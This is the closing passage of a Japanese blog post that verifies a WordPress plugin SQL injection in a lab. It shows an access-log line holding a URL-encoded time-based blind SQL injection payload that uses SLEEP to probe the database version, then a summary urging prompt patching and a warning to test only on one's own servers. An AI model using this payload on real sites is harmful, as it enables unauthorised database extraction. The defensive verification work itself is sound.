192.168.121.33 - - [09/Jun/2021:04:19:21 +0000] "GET /wp-login.php?redirect_to=http%3A%2F%2F172.20.100.120%3A6823%2Fwp-admin%2Fadmin.php%3FID%3D1%2BOR%2B%28CASE%2BWHEN%2B%28select%2BASCII%28%28substring%28%28select%2Bversion%28%29%29%2C22%2C1%29%29%29%253D113%29%2BTHEN%2BSLEEP%281%29%2BELSE%2BSLEEP%280%29%2BEND%29%26page%3Dwps_pages_page%26type%3D1&reauth=1 HTTP/1.1" 200 4855 "-" "python-requests/2.25.1"

非常に特徴的なリクエストが送信されていることがわかります。

まとめ

今回は久しぶりのArmoris日記検証編でした。
取り上げたプラグインではいくつかのSQLインジェクション対策がされていましたが、リクエストの仕方を工夫することで回避できることが発見されています。
実際にこう言った状況が発生した際にすぐに対策を行なったりアップデートを行えるように運用にも気を配る必要があると感じました。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。